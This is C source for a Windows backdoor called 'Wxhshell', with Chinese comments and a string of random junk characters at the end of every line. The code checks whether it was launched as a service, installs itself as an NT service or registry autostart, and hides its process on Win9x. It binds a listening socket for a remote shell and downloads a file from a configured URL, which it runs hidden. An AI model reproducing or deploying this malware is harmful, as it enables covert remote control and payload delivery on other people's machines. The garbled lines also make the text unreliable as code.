ULONG UniqueProcessId; !8(:G6Ne
ULONG InheritedFromUniqueProcessId; 9{]U6A*K0w
} PROCESS_BASIC_INFORMATION; vlY83mU.
8XIG<Nc
PROCNTQSIP NtQueryInformationProcess; &Rdg07e;>
bj=kqO;*O
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <k+dJ=f
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KLrxlD4\
^"STM'Zh
HANDLE hProcess; ZF!cXo7d
PROCESS_BASIC_INFORMATION pbi; w9Bbvr6
Bf1,(^3XH
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %\IB_M
if(NULL == hInst ) return 0; Nr8#/H2f
^}fc]ovV
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CB]#`|f
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^{lcj
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p#go<Y#
Q'>pOtJG*J
if (!NtQueryInformationProcess) return 0; )O*\}6:S
T)?:q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h fZY5+Z<
if(!hProcess) return 0; la+RK
gqJSz}'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H0r@dn
p8,Rr{
CloseHandle(hProcess); '_oWpzpe
%? -E)n[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4c^WQ>[
if(hProcess==NULL) return 0; @)k/t>r(
|mvY=t
%
HMODULE hMod; KcKdhqdN-
char procName[255]; /enlkZx=8
unsigned long cbNeeded; !Lkk1zo
m[n=t5~
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Uq/FH@E=
AtU%S9
CloseHandle(hProcess); :+#$=4
q(xr5iuP_
if(strstr(procName,"services")) return 1; // 以服务启动 AUjZYp
a4aM.o
return 0; // 注册表启动 Wg{ 9X#|
} ]t0]fb[J
x#
M MrV&M
// 主模块 m' HAt~
int StartWxhshell(LPSTR lpCmdLine) |z1er"zR)
{ 89n\$7Ff9
SOCKET wsl; &Z'3n9zl
BOOL val=TRUE; ETZE.a
int port=0; ISa}Km>Q
struct sockaddr_in door; =`<9N%
BPO)<bx_
if(wscfg.ws_autoins) Install(); :`Kv\w.
X6 E^5m
port=atoi(lpCmdLine); r c++c,=
Ql>bsr}
if(port<=0) port=wscfg.ws_port; 9B3+$uP
tBUn
KPT
WSADATA data; %vn"tp
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HE!"3S2S&+
0MpZdJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =)b!M^=X-a
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @~7y\G
door.sin_family = AF_INET; =1#obB
door.sin_addr.s_addr = inet_addr("127.0.0.1"); m4\e`nl
door.sin_port = htons(port); D*=.;Rq
yK+1C68A
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eYtP396C|
closesocket(wsl); t?Ku6Z'
return 1; Dxvizd>VU
} 1FA:"0lO
KpX1GrIn3
if(listen(wsl,2) == INVALID_SOCKET) { s#cb wDT
closesocket(wsl); ==#mlpi`S[
return 1; u~c75Mk_v
} Q Uy7Q$W
Wxhshell(wsl); i8w/a
WSACleanup(); ~cv322N
L`3;9rO
return 0; !(gMr1}w
R1C}S
} (jmF7XfU
>;Ag7Ex
// 以NT服务方式启动 \^o I3K0`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <#nt?Xn
{ <>v=jH|L
DWORD status = 0; $U=j<^R}a
DWORD specificError = 0xfffffff; l"zwH
eQqnPqi-
serviceStatus.dwServiceType = SERVICE_WIN32; v`r![QpYf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -#Bk
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u_HCXpP!Q
serviceStatus.dwWin32ExitCode = 0; "LNLM
serviceStatus.dwServiceSpecificExitCode = 0; =O%Hf bx
serviceStatus.dwCheckPoint = 0; G!)Q"+
serviceStatus.dwWaitHint = 0; ;~,)6UX7
N?EeT}m _
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); utu
V'5GD
if (hServiceStatusHandle==0) return; gWD46+A){
AXpg_JC
status = GetLastError(); .QU]
if (status!=NO_ERROR) 2WK c;?
{ +R8G*2
serviceStatus.dwCurrentState = SERVICE_STOPPED; oNhCa>)/
serviceStatus.dwCheckPoint = 0; 1K#%mV_
serviceStatus.dwWaitHint = 0; =f?vpKq40
serviceStatus.dwWin32ExitCode = status; *qZBq&7tb
serviceStatus.dwServiceSpecificExitCode = specificError; #HDP ha
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0^3n#7m;K
return; RNo~}#
} 8,@0~2fz#
u|"y&>!R-
serviceStatus.dwCurrentState = SERVICE_RUNNING; lFtH;h,==v
serviceStatus.dwCheckPoint = 0; dI+Y1Vq
serviceStatus.dwWaitHint = 0; _]v@Dq VP
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @+{F\SD\
} oTJ^WePZQ
"c.@4#/_
// 处理NT服务事件,比如:启动、停止 s^> >]
VOID WINAPI NTServiceHandler(DWORD fdwControl) WES$B7y
{ 2kcDJ{(
switch(fdwControl) ;e{e
?,[
{ BgT(~8'
case SERVICE_CONTROL_STOP: d`UK mj
serviceStatus.dwWin32ExitCode = 0; r$:hiE@
serviceStatus.dwCurrentState = SERVICE_STOPPED; Ot+Z}Z-
serviceStatus.dwCheckPoint = 0; )DGJr/)
serviceStatus.dwWaitHint = 0; mclV"?
{ ~8&P*oFC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y?V^S;}&]
} oj/#wF+
return; I5@8=rFk
case SERVICE_CONTROL_PAUSE: bkuJN%
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^[&,MQU{7
break; Wl7S<>hg4
case SERVICE_CONTROL_CONTINUE: Q?V+
0J
serviceStatus.dwCurrentState = SERVICE_RUNNING; */HW]x|?V~
break; |~o0-: 'C
case SERVICE_CONTROL_INTERROGATE: "$/1.SX;]
break; Vx{
}; O\SH;y,N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m3~_uc/+D
} O"X:3srJ`
M._;3_)%/
// 标准应用程序主函数 ]O>AD6P
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u9m ~1\R*
{ iR"6VO
;X;(7
// 获取操作系统版本 @\r2%M-
OsIsNt=GetOsVer(); z=TOGP(
GetModuleFileName(NULL,ExeFile,MAX_PATH); |- <72$j
T`bUBrK6g`
// 从命令行安装 zR4]buHnE
if(strpbrk(lpCmdLine,"iI")) Install(); naM~>N
~s
yWORiXm
// 下载执行文件 OIK46D6?.
if(wscfg.ws_downexe) { R.?PD$;_M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Ajst!Y7=
WinExec(wscfg.ws_filenam,SW_HIDE); 3Vbt(K
} h=qT@)h1>
u* G+=aV.6
if(!OsIsNt) { j#U,zsv:
// 如果时win9x,隐藏进程并且设置为注册表启动 .D*~UI
HideProc(); +eO>> ~Z
StartWxhshell(lpCmdLine); "Zy:q'`o
} LJ6l3)tpD
else zwU1(?]I{
if(StartFromService()) t,n2N13
// 以服务方式启动 W~PMR/^i
StartServiceCtrlDispatcher(DispatchTable); Yw
yMCd
else (d/!M
n6L
// 普通方式启动 A2ufET
StartWxhshell(lpCmdLine); q65]bs4M
$Dd-2p
return 0; mE=Ur
}